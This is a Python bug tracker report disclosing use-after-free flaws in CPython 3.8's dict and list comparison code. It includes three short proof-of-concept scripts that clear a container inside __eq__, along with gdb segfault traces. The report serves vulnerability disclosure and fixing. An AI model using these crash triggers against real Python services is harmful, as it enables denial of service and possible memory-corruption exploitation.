[New-bugs-announce] [issue38588] Use-after-free in dict/list

LCatro report at bugs.python.org
Fri Oct 25 09:25:50 EDT 2019


New submission from LCatro <m4i1f0rt3st at sina.cn>:

Code :

The varanit bval forget call Py_INCREF to add reference in dict_equal()

    b->ma_keys->dk_lookup(b, key, ep->me_hash, &bval);  <--- ...
    if (bval == NULL) {
        Py_DECREF(key);
        Py_DECREF(aval);
        if (PyErr_Occurred())
            return -1;
        return 0;
    }
    cmp = PyObject_RichCompareBool(aval, bval, Py_EQ);


PoC 1 :

class poc() :
    def __eq__(self,other) :
        dict2.clear()
        return NotImplemented

dict1 = {0:poc()}
dict2 = {0:set()}
dict1 == dict2   ##  dict_equal() -> PyObject_RichCompareBool


Crash Detail :


(gdb) run ../python_poc_info/dict_poc_1.py 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/fuzzing/Desktop/Python-3.8.0/python ../python_poc_info/dict_poc_1.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x000000000046e445 in do_richcompare (v=v at entry=0x7ffff7e767d0, w=w at entry=0x7ffff6dd88c0, op=op at entry=2)
    at Objects/object.c:725
725	    if (!checked_reverse_op && (f = w->ob_type->tp_richcompare) != NULL) {


======

Code :

The varanit wl->ob_item[i] forget call Py_INCREF to add reference in list_richcompare()

    for (i = 0; i < Py_SIZE(vl) && i < Py_SIZE(wl); i++) {
        int k = PyObject_RichCompareBool(vl->ob_item[i],
                                         wl->ob_item[i], Py_EQ);  <---


PoC 2 :

class poc() :
    def __eq__(self,other) :
        list1.clear()
        return NotImplemented


list1 = [poc()]
list2 = [1]
list1 == list2  #  list_richcompare() -> PyObject_RichCompareBool


Crash Detail :


(gdb) run ../python_poc_info/list_poc_1.py 
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/fuzzing/Desktop/Python-3.8.0/python ../python_poc_info/list_poc_1.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x000000000044bd07 in long_richcompare (self=0x961200 <small_ints+192>, other=0x7ffff7e767d0, op=2)
    at Objects/longobject.c:3083
3083	    CHECK_BINOP(self, other);


======

Code :

The varanit PyList_GET_ITEM(a, i) forget call Py_INCREF to add reference in list_contains()

list_contains(PyListObject *a, PyObject *el)
{
    Py_ssize_t i;
    int cmp;

    for (i = 0, cmp = 0 ; cmp == 0 && i < Py_SIZE(a); ++i)
        cmp = PyObject_RichCompareBool(el, PyList_GET_ITEM(a, i),
                                           Py_EQ);   <----


PoC 3 :

class poc() :
    def __eq__(self,other) :
        list1.clear()
        return NotImplemented

list1 = [ set() ]
poc() in list1  #  list_contains() -> PyObject_RichCompareBool


Crash Detail :


(gdb) run ../python_poc_info/list_poc_2.py 
Starting program: /home/fuzzing/Desktop/Python-3.8.0/python ../python_poc_info/list_poc_2.py
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x000000000046e445 in do_richcompare (v=v at entry=0x7ffff7e766e0, w=w at entry=0x7ffff6dd88c0, op=op at entry=2)
    at Objects/object.c:725
725	    if (!checked_reverse_op && (f = w->ob_type->tp_richcompare) != NULL) {

----------
messages: 355366
nosy: LCatro, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Use-after-free in dict/list
type: security
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue38588>
_______________________________________


More information about the New-bugs-announce mailing list